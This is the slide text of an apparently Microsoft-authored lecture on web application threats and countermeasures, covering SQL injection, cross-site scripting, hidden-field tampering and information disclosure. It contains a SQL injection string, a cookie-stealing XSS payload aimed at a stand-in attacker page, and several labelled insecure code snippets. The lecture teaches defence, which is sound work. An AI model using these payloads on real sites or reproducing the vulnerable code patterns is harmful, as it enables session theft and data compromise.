Security: Threats and Countermeasures. Stanley Tan Academic Program Manager Microsoft Singapore

Security: Threats and Countermeasures Stanley Tan Academic Program Manager Microsoft Singapore

Session Agenda Types of threats Threats against the application Countermeasures against the threats

Types of Threats Threats against the network Spoofed packets, etc. Network Host Application Threats against the host Buffer overflows, illicit paths, etc. Threats against the application SQL injection, XSS, input tampering, etc.

Threats Against the Application Threat SQL injection Cross-site scripting Hidden-field tampering Eavesdropping Session hijacking Identity spoofing Information disclosure Examples Including a DROP TABLE command in text typed into an input field Using malicious client-side script to steal cookies Maliciously changing the value of a hidden field Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections Using a stolen session ID cookie to access someone else's session state Using a stolen forms authentication cookie to pose as another user Allowing client to see a stack trace when an unhandled exception occurs i http://msdn.microsoft.com/library/en-us/dnnetsec/html/thcmch10.asp? frame=true#c10618429_004

SQL Injection Exploits applications that use external input in database commands Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter used to generate SQL commands Submit input that modifies the commands Compromise, corrupt, and destroy data

SQL Injection

How SQL Injection Works Model Query SELECT COUNT (*) FROM Users WHERE UserName= Jeff AND Password= imbatman Malicious Query SELECT COUNT (*) FROM Users WHERE UserName= or 1=1-- AND Password= "or 1=1" matches every record in the table "--" comments out the remainder of the query

Accessing Data Securely Use stored procedures or parameterized commands in lieu of dynamic SQL commands Never use sa to access Web databases Store connection strings securely Apply administrative protections to SQL Server 8 Optionally use SSL/TLS or IPSec to secure the connection to the database server 2,9 i http://msdn.microsoft.com/library/en-us/dnnetsec/html/thcmch14.asp

Dynamic SQL Commands Vulnerable to SQL injection attacks // DANGER! User input used to generate database query string sql = String.Format ("select count (*) " + "from users where username=\'{0}\' and cast " + "(password as varbinary)=cast (\'{1}\' as " + varbinary)", username, password); SqlCommand command = new SqlCommand (sql, connection); int count = (int) command.executescalar ();

Parameterized Commands Less vulnerable to SQL injection attacks // BETTER: Input passed to parameterized command SqlCommand command = new SqlCommand ("select count (*) from users where " + "username=@username and cast (password as " + "varbinary)=cast (@password as varbinary)", connection); command.parameters.add ("@username", SqlDbType.VarChar).Value = username; command.parameters.add ("@password", SqlDbType.VarChar).Value = password; int count = (int) command.executescalar ();

YASID Why you really want to secure yourself against SQL injection attacks

Cross-Site Scripting (XSS) Exploits applications that echo raw, unfiltered input to Web pages Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter whose value is echoed to the Web page Enter malicious script and get an unwary user to navigate to the infected page Steal cookies, deface and disable sites

How Cross-Site Scripting Works URL of the site targeted by the attack <a href="http:// /Search.aspx? Search=<script language='javascript'> document.location.replace ('http://localhost/evilpage.aspx? Cookie= + document.cookie); </script>"> </a> Query string contains embedded JavaScript that redirects to attacker s page and transmits cookies issued by Search.aspx in a query string

Cross-Site Scripting

Validating Input Filter potentially injurious characters and strings HTML-encode all input echoed to a Web page Use "safe" character encodings <globalization requestencoding="iso-8859-1" responseencoding="iso-8859-1" /> Avoid using file names as input if possible i http://msdn.microsoft.com/library/en-us/dnnetsec/html/thcmch10.asp? frame=true#c10618429_006

Anti-XSS Library Download from MSDN: http://www.microsoft.com/downloads/deta ils.aspx?familyid=9a2b9c92-7ad9-496c- 9A89-AF08DE2E5982&displaylang=en The Anti-Cross Site Scripting Library can be used to provide comprehensive protection to Web-based applications against Cross-Site Scripting (XSS) attacks.

Input Validation Why you shouldn t use file names as input

Hidden-Field Tampering HTTP is a stateless protocol No built-in way to persist data from one request to the next People are stateful beings Want data persisted between requests Shopping carts, user preferences, etc. Web developers sometimes use hidden fields to persist data between requests Hidden fields are not really hidden!

How HF Tampering Works Page contains this <input type= hidden name="price" value="$10,000"> Postback data should contain this price="$10,000" Instead it contains this price="$1" type="hidden" prevents the field from being seen on the page but not in View Source

Information Disclosure Which is the better error message?

Information Disclosure

This is Insecure Code! <html> <body> <form runat="server"> <asp:textbox ID="Input" runat="server" /> <asp:button Text="Click Me" OnClick="OnSubmit" runat="server" /> <asp:label ID="Output" runat="server" /> </form> </body> </html> <script language="c#" runat="server"> void OnSubmit (Object sender, EventArgs e) { Output.Text = "Hello, " + Input.Text; } </script>

Why is This Code Insecure? <html> <body> <form runat="server"> <asp:textbox ID="Input" runat="server" /> <asp:button Text="Click Me" OnClick="OnSubmit" runat="server" /> <asp:label ID="Output" runat="server" /> </form> </body> </html> <script language="c#" runat="server"> void OnSubmit (Object sender, EventArgs e) { Output.Text = "Hello, " + Input.Text; } </script> Input is echoed to page without HTML encoding Input is neither validated nor constrained; user can type anything!